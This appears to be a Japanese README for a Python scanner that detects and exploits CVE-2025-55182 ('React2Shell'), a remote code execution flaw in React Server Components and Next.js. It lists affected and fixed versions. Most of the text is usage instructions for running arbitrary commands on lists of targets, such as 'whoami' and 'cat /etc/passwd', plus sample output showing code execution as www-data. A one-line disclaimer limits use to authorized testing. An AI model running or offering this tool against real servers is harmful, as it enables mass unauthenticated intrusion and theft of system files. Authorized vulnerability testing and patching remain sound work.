
CVE-2025-55182 用自動スキャナー: React Server Components および Next.js における重大な RCE 脆弱性
CVE-2025-55182 (React2Shell) リモートコード実行脆弱性の一括検出・検証ツール。
⚠️ CVSS 10.0 重大脆弱性 | React Server Components および Next.js 15.x/16.x に影響 | 許可されたセキュリティテストのみに使用
CVE-2025-55182(別名 "React2Shell")は CVSS 10.0 満点の重大レベルの 認証不要のリモートコード実行 (RCE) 脆弱性です。
この脆弱性は、React Server Components (RSC) の react-server パッケージにおける、RSC "Flight" プロトコル処理時の安全でないデシリアライズに起因します。攻撃者は特別に細工された HTTP リクエストを送信することで、脆弱なサーバ上で任意のコードを実行できます。
Next.js は RSC "Flight" プロトコルを使用しているため、create-next-app で作成されたデフォルト構成のアプリケーションでも、開発者が追加のコードを書くことなく悪用される可能性があります。2025 年 12 月 5 日以降、本脆弱性の活発な悪用が確認されています。
React Server Components の影響を受けるバージョン:
| パッケージ名 | 影響を受けるバージョン |
|---|---|
| react-server-dom-webpack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| react-server-dom-turbopack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| react-server-dom-parcel | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
Next.js の影響を受けるバージョン(App Router 使用時):
影響を受ける可能性があるその他の RSC フレームワーク/ツール:
⚠️ 重要: この脆弱性には既知の一時的な緩和策はありません。安全なバージョンへのアップグレードが唯一の修正方法です。
推奨アップグレードバージョン:
公式提供の fix-react2shell-next npm パッケージを使用して、影響を受ける Next.js アプリケーションの更新を支援できます。
pip install requests
# 一括スキャン(urls.txt からターゲットを読み込む)
python CVE-2025-55182.py -f urls.txt
# 単一ターゲットテスト
python CVE-2025-55182.py -u http://192.168.1.100:3000
# whoami コマンドの実行
python CVE-2025-55182.py -f urls.txt -c "whoami"
# hostname コマンドの実行
python CVE-2025-55182.py -u http://target.com -c "hostname"
# ファイルの読み取り
python CVE-2025-55182.py -f urls.txt -c "cat /etc/passwd"
# スレッド数とタイムアウトの指定
python CVE-2025-55182.py -f urls.txt -t 50 --timeout 15
# カスタム出力ファイル
python CVE-2025-55182.py -f urls.txt -o scan_results.csv
# サイレントモード(脆弱性のあるURLのみ出力)
python CVE-2025-55182.py -f urls.txt -q
1行に1つのURL。例:
http://192.168.1.10:3000
http://192.168.1.11:3000
+---------------------------------------------------------------+
| ### ## ####### ## ## ######## ## ####### |
| #### ## ## ## ## ## ## ## |
| ## ## ## ##### ### ## ## ####### |
| ## #### ## ## ## ## ## ## ## |
| ## ### ####### ## ## ## #### ####### |
| |
| CVE-2025-55182 RCE Scanner |
+---------------------------------------------------------------+
============================================================
[ CONFIGURATION ]
============================================================
> Targets: 10
> Threads: 20
> Command: id
============================================================
[ SCANNING ]
============================================================
[14:30:25] [VULN] http://192.168.1.10:3000
'--> uid=1000(www-data)
[14:30:26] [SAFE] http://192.168.1.11:3000
+==========================================================+
| SCAN COMPLETE |
+==========================================================+
| Total Targets : 10 |
| Vulnerable : 1 |
| Safe : 9 |
| Errors : 0 |
+==========================================================+
スキャン結果は CSV 形式で保存され、以下のフィールドを含みます:
url - ターゲット URLstatus - HTTP ステータスコードvulnerable - 脆弱性の有無output - コマンド実行出力error - エラーメッセージ本ツールは許可されたセキュリティテストにのみ使用してください。不正利用は禁止されています。使用者は関連する責任を負うものとします。
| メジャーバージョン | 影響を受けるバージョン範囲 | 修正バージョン |
|---|
| 16.0.x | ≤ 16.0.6 | 16.0.7 |
| 15.5.x | ≤ 15.5.6 | 15.5.7 |
| 15.4.x | ≤ 15.4.7 | 15.4.8 |
| 15.3.x | ≤ 15.3.5 | 15.3.6 |
| 15.2.x | ≤ 15.2.5 | - |
| 15.1.x | ≤ 15.1.8 | - |
| 15.0.x | ≤ 15.0.4 | - |
| 14.x Canary | ≥ 14.3.0-canary.77 | - |
| パラメータ | 説明 | デフォルト値 |
|---|
-f, --file | URL リストファイル | urls.txt |
-u, --url | 単一ターゲットURL | - |
-t, --threads | 同時スレッド数 | 20 |
--timeout | リクエストタイムアウト(秒) | 10 |
-o, --output | 出力 CSV ファイル | results.csv |
-c, --command | 実行するコマンド | id |
-q, --quiet | サイレントモード | false |